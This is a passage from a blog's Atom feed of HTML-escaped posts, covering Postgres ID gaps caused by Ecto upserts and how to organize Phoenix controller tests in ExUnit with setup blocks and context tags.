style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s weird. Since we only insert two schemas, we would expect the second schema to have an id of &lt;code&gt;2&lt;/code&gt;, but it doesn&apos;t! There&apos;s a gap between the id of the first schema (&lt;code&gt;1&lt;/code&gt;) and the id of the second schema (&lt;code&gt;3&lt;/code&gt;) of exactly the number of upserts we executed. But why is that?&lt;/p&gt;
&lt;p&gt;The reason is complex and described in more detail &lt;a href=&quot;https://stackoverflow.com/a/37206177&quot;&gt;here&lt;/a&gt;, but this is the short version: Before Postgres does anything with the data you provide, it resolves the schema&apos;s default values. So, if you define a default value for a field and don&apos;t provide data for that field in your insert request, Postgres will fill in its default value. For integer IDs, that default value is the next number in a sequence of IDs for the table. Whenever you insert a schema, Postgres fetches the next ID from the sequence which increments the sequence by one. This way, it guarantees that the next ID has never been used before.&lt;/p&gt;
&lt;p&gt;Practically, our upsert is an insert with a fallback, and therefore Postgres fills in its id, &lt;strong&gt;even if the insert is aborted due to a constraint violation!&lt;/strong&gt; So, Postgres increments the sequence even if we haven&apos;t inserted anything and the &lt;code&gt;on_conflict&lt;/code&gt; operation was executed. Once we insert the next schema, it will have the id of the previous schema plus every upsert we called since plus one. Funny, right?&lt;/p&gt;
&lt;p&gt;In practice, this fun fact probably has no implication (how often do you check for gaps in your primary keys anyways?). It is important to be aware of it though. The default id for Postgres tables is a &lt;code&gt;SERIAL&lt;/code&gt; integer with &lt;code&gt;4 bytes&lt;/code&gt;. Its maximum value is &lt;code&gt;2_147_483_647&lt;/code&gt;. Imagine that you upsert your usage counter 10 times per second. After almost &lt;code&gt;7 years&lt;/code&gt;, your sequence of IDs will reach its maximum and you won&apos;t be able to insert new schemas or upsert the existing ones anymore! This scenario is not unrealistic for large enterprise software, so keep this limitation in mind.&lt;/p&gt;
&lt;p&gt;If you want to be on the safe side, you can always use a &lt;code&gt;BIGSERIAL&lt;/code&gt; integer as a primary key with &lt;code&gt;8 bytes&lt;/code&gt; and a maximum value of &lt;code&gt;9_223_372_036_854_775_807&lt;/code&gt;. It would take around &lt;code&gt;29 billion&lt;/code&gt; years to reach its maximum, which is roughly &lt;code&gt;21 billion&lt;/code&gt; years after the sun explodes. So, you&apos;ll probably be fine 👍&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This has been a thorough deep-dive into all things upserts with Ecto. I hope you enjoyed it! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until then, thanks for reading!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/complete-guide-to-upserts-with-ecto"/>
    <id>https://peterullrich.com/complete-guide-to-upserts-with-ecto</id>
    <title>The complete guide to Upserts with Ecto</title>
    <updated>2022-09-23T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Writing tests is the easiest way to improve your software&apos;s maintainability and reliability. They can communicate the expected behavior of your code with your fellow developers. Yet, I would argue that only organized and easy-to-understand tests are helpful tests. Let&apos;s have a look at an often overlooked tool for organizing your tests: &lt;a href=&quot;https://hexdocs.pm/ex_unit/1.12/ExUnit.Case.html#module-tags&quot;&gt;Context tags&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s consider the situation where you write tests for a Phoenix controller. When users log in, the controller returns their profile page. If they are admins, it returns a dedicated admin dashboard. And if they are not logged in, they can&apos;t access the profile page and will see a 404 instead.&lt;/p&gt;
&lt;p&gt;When you write tests for this controller, you might create the setup for each test inside the test case, like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GET /profile as user shows the user&amp;#39;s name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# The test setup&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_fixture&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Bob&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# The actual test&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/profile&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello Bob&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, you want to add more tests for your controller. You need the test setup in each test case though. You can either copy and paste the code into each test case or move it to a private function. Another option is to move the test setup to the &lt;code&gt;setup&lt;/code&gt;-block, like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_fixture&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Bob&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GET /profile as user shows the user&amp;#39;s name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/profile&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello Bob&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks much cleaner already! The &lt;code&gt;setup&lt;/code&gt;-block will execute before each test case and create and assign a user. You don&apos;t have to copy and paste the code to each test case anymore.&lt;/p&gt;
&lt;p&gt;One issue with the shared &lt;code&gt;setup&lt;/code&gt;-block is that you can&apos;t configure it for each test. It is the same for all the tests. But what if you want to test how the controller behaves for admins? That&apos;s where &lt;code&gt;context tags&lt;/code&gt; come in. Let&apos;s see how to use them.&lt;/p&gt;
&lt;p&gt;First, let&apos;s configure whether the user is an admin or not. Let&apos;s update the setup block to use the &lt;code&gt;context&lt;/code&gt; instead of hard-coding every user property:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_fixture&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Or, simply do: user = user_fixture(context)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;tag &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Bob&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GET /profile as user shows the user&amp;#39;s name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/profile&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello Bob&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you create the user, Ecto will only take the schema fields from any map you provide. So, you can also pass the &lt;code&gt;context&lt;/code&gt;-map directly to the fixture. Each test can now configure the user&apos;s properties using the &lt;code&gt;@tag&lt;/code&gt; format. This is helpful once you start to add tests for admin users like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Setup-block and other tests&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;tag &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;admin: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GET /profile as admin shows an admin dashboard&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/profile&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
